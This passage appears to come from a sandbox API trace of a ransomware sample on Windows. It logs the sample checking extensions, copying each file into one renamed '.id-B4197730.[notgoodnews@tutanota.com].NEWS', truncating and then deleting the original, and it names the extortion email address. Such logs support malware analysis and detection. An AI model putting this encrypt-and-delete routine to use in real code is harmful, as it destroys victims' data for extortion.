(lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1 [0065.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0065.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0065.291] lstrlenW (lpString=".doc") returned 4 [0065.291] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0065.291] lstrlenW (lpString=".docx") returned 5 [0065.291] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0065.291] lstrlenW (lpString=".pdf") returned 4 [0065.291] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0065.291] lstrlenW (lpString=".xls") returned 4 [0065.291] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0065.291] lstrlenW (lpString=".xlsx") returned 5 [0065.291] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0065.291] lstrlenW (lpString=".ppt") returned 4 [0065.291] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0065.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0065.291] lstrlenW (lpString=".zip") returned 4 [0065.291] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0065.291] lstrlenW (lpString=".rar") returned 4 [0065.291] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0065.291] lstrlenW (lpString=".bz2") returned 4 [0065.291] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0065.292] lstrlenW (lpString=".7z") returned 3 [0065.292] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0065.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0065.292] lstrlenW (lpString=".dbf") returned 4 [0065.292] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0065.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0065.292] lstrlenW (lpString=".1cd") returned 4 [0065.292] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0065.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0065.292] lstrlenW (lpString=".jpg") returned 4 [0065.292] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0065.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0065.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0065.292] lstrlenW (lpString=".doc") returned 4 [0065.292] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0065.292] lstrlenW (lpString=".docx") returned 5 [0065.292] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0065.292] lstrlenW (lpString=".pdf") returned 4 [0065.292] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0065.292] lstrlenW (lpString=".xls") returned 4 [0065.292] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0065.292] lstrlenW (lpString=".xlsx") returned 5 [0065.292] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0065.292] lstrlenW (lpString=".ppt") returned 4 [0065.292] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0065.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0065.292] lstrlenW (lpString=".zip") returned 4 [0065.292] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0065.292] lstrlenW (lpString=".rar") returned 4 [0065.292] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0065.292] lstrlenW (lpString=".bz2") returned 4 [0065.292] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0065.293] lstrlenW (lpString=".7z") returned 3 [0065.293] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0065.293] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0065.293] lstrlenW (lpString=".dbf") returned 4 [0065.293] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0065.293] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0065.293] lstrlenW (lpString=".1cd") returned 4 [0065.293] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0065.293] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0065.293] lstrlenW (lpString=".jpg") returned 4 [0065.293] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0065.293] lstrcmpiW (lpString1=".bmp", lpString2=".NEWS") returned -1 [0065.293] lstrlenW (lpString="SplashScreen.bmp") returned 16 [0065.293] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0065.293] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=41080) returned 1 [0065.293] CloseHandle (hObject=0x354) returned 1 [0065.294] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80 [0065.294] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.294] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0065.294] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.294] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.294] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0065.294] GetLastError () returned 0x0 [0065.294] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xa078, lpOverlapped=0x0) returned 1 [0065.297] WriteFile (in: hFile=0x35c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xa080, lpOverlapped=0x0) returned 1 [0065.298] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.298] WriteFile (in: hFile=0x35c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xf4, lpOverlapped=0x0) returned 1 [0065.299] SetEndOfFile (hFile=0x35c) returned 1 [0065.299] CloseHandle (hObject=0x35c) returned 1 [0065.300] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.301] SetEndOfFile (hFile=0x354) returned 1 [0065.302] CloseHandle (hObject=0x354) returned 1 [0065.302] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.302] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1 [0065.302] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0065.302] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0065.302] lstrlenW (lpString=".doc") returned 4 [0065.303] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0065.303] lstrlenW (lpString=".docx") returned 5 [0065.303] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0065.303] lstrlenW (lpString=".pdf") returned 4 [0065.303] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0065.303] lstrlenW (lpString=".xls") returned 4 [0065.303] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0065.303] lstrlenW (lpString=".xlsx") returned 5 [0065.303] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0065.303] lstrlenW (lpString=".ppt") returned 4 [0065.303] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0065.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0065.303] lstrlenW (lpString=".zip") returned 4 [0065.303] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0065.303] lstrlenW (lpString=".rar") returned 4 [0065.303] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0065.303] lstrlenW (lpString=".bz2") returned 4 [0065.303] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0065.303] lstrlenW (lpString=".7z") returned 3 [0065.303] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0065.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0065.303] lstrlenW (lpString=".dbf") returned 4 [0065.303] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0065.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0065.303] lstrlenW (lpString=".1cd") returned 4 [0065.303] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0065.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0065.303] lstrlenW (lpString=".jpg") returned 4 [0065.303] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0065.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0065.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0065.304] lstrlenW (lpString=".doc") returned 4 [0065.304] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0065.304] lstrlenW (lpString=".docx") returned 5 [0065.304] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0065.304] lstrlenW (lpString=".pdf") returned 4 [0065.304] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0065.304] lstrlenW (lpString=".xls") returned 4 [0065.304] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0065.304] lstrlenW (lpString=".xlsx") returned 5 [0065.304] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0065.304] lstrlenW (lpString=".ppt") returned 4 [0065.304] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0065.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0065.304] lstrlenW (lpString=".zip") returned 4 [0065.304] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0065.304] lstrlenW (lpString=".rar") returned 4 [0065.304] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0065.304] lstrlenW (lpString=".bz2") returned 4 [0065.304] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0065.304] lstrlenW (lpString=".7z") returned 3 [0065.304] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0065.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0065.304] lstrlenW (lpString=".dbf") returned 4 [0065.304] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0065.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0065.304] lstrlenW (lpString=".1cd") returned 4 [0065.304] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0065.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0065.304] lstrlenW (lpString=".jpg") returned 4 [0065.304] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0065.305] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0065.305] lstrlenW (lpString="Strings.xml") returned 11 [0065.305] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0065.305] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=14084) returned 1 [0065.305] CloseHandle (hObject=0x354) returned 1 [0065.305] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80 [0065.305] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.305] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0065.926] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.926] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.926] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0065.926] GetLastError () returned 0x0 [0065.926] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x3704, lpOverlapped=0x0) returned 1 [0065.928] WriteFile (in: hFile=0x344, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x3710, lpOverlapped=0x0) returned 1 [0065.931] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.931] WriteFile (in: hFile=0x344, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xea, lpOverlapped=0x0) returned 1 [0065.931] SetEndOfFile (hFile=0x344) returned 1 [0065.931] CloseHandle (hObject=0x344) returned 1 [0065.935] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.935] SetEndOfFile (hFile=0x33c) returned 1 [0065.936] CloseHandle (hObject=0x33c) returned 1 [0065.936] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.937] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1 [0065.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0065.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0065.937] lstrlenW (lpString=".doc") returned 4 [0065.937] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.937] lstrlenW (lpString=".docx") returned 5 [0065.937] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0065.937] lstrlenW (lpString=".pdf") returned 4 [0065.937] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.937] lstrlenW (lpString=".xls") returned 4 [0065.937] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.937] lstrlenW (lpString=".xlsx") returned 5 [0065.937] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0065.937] lstrlenW (lpString=".ppt") returned 4 [0065.937] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0065.937] lstrlenW (lpString=".zip") returned 4 [0065.937] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.938] lstrlenW (lpString=".rar") returned 4 [0065.938] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.938] lstrlenW (lpString=".bz2") returned 4 [0065.938] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.938] lstrlenW (lpString=".7z") returned 3 [0065.938] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.938] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0065.938] lstrlenW (lpString=".dbf") returned 4 [0065.938] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.938] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0065.938] lstrlenW (lpString=".1cd") returned 4 [0065.938] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.938] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0065.938] lstrlenW (lpString=".jpg") returned 4 [0065.938] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.938] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0065.938] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0065.938] lstrlenW (lpString=".doc") returned 4 [0065.938] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.938] lstrlenW (lpString=".docx") returned 5 [0065.938] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0065.938] lstrlenW (lpString=".pdf") returned 4 [0065.938] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.938] lstrlenW (lpString=".xls") returned 4 [0065.938] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.938] lstrlenW (lpString=".xlsx") returned 5 [0065.938] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0065.938] lstrlenW (lpString=".ppt") returned 4 [0065.938] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.938] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0065.938] lstrlenW (lpString=".zip") returned 4 [0065.938] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.938] lstrlenW (lpString=".rar") returned 4 [0065.938] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.939] lstrlenW (lpString=".bz2") returned 4 [0065.939] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.939] lstrlenW (lpString=".7z") returned 3 [0065.939] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.939] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0065.939] lstrlenW (lpString=".dbf") returned 4 [0065.939] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.939] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0065.939] lstrlenW (lpString=".1cd") returned 4 [0065.939] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.939] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0065.939] lstrlenW (lpString=".jpg") returned 4 [0065.939] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.939] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0065.939] lstrlenW (lpString="symbols.xml") returned 11 [0065.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0065.940] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=591) returned 1 [0065.940] CloseHandle (hObject=0x33c) returned 1 [0065.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0065.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0065.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0065.940] lstrlenW (lpString=".doc") returned 4 [0065.940] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.940] lstrlenW (lpString=".docx") returned 5 [0065.940] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0065.941] lstrlenW (lpString=".pdf") returned 4 [0065.941] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.941] lstrlenW (lpString=".xls") returned 4 [0065.941] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.941] lstrlenW (lpString=".xlsx") returned 5 [0065.941] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0065.941] lstrlenW (lpString=".ppt") returned 4 [0065.941] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0065.941] lstrlenW (lpString=".zip") returned 4 [0065.941] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.941] lstrlenW (lpString=".rar") returned 4 [0065.941] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.941] lstrlenW (lpString=".bz2") returned 4 [0065.941] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.941] lstrlenW (lpString=".7z") returned 3 [0065.941] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0065.941] lstrlenW (lpString=".dbf") returned 4 [0065.941] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0065.941] lstrlenW (lpString=".1cd") returned 4 [0065.941] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0065.941] lstrlenW (lpString=".jpg") returned 4 [0065.941] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0065.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0065.942] lstrlenW (lpString=".doc") returned 4 [0065.942] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.942] lstrlenW (lpString=".docx") returned 5 [0065.942] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0065.942] lstrlenW (lpString=".pdf") returned 4 [0065.942] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.942] lstrlenW (lpString=".xls") returned 4 [0065.942] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.942] lstrlenW (lpString=".xlsx") returned 5 [0065.942] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0065.942] lstrlenW (lpString=".ppt") returned 4 [0065.942] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0065.942] lstrlenW (lpString=".zip") returned 4 [0065.942] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.942] lstrlenW (lpString=".rar") returned 4 [0065.942] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.942] lstrlenW (lpString=".bz2") returned 4 [0065.942] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.942] lstrlenW (lpString=".7z") returned 3 [0065.942] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0065.942] lstrlenW (lpString=".dbf") returned 4 [0065.942] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0065.942] lstrlenW (lpString=".1cd") returned 4 [0065.942] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0065.942] lstrlenW (lpString=".jpg") returned 4 [0065.942] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.943] lstrcmpiW (lpString1=".dat", lpString2=".NEWS") returned -1 [0065.943] lstrlenW (lpString="hwrcommonlm.dat") returned 15 [0065.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0065.944] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=46624) returned 1 [0065.944] CloseHandle (hObject=0x33c) returned 1 [0065.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0065.945] 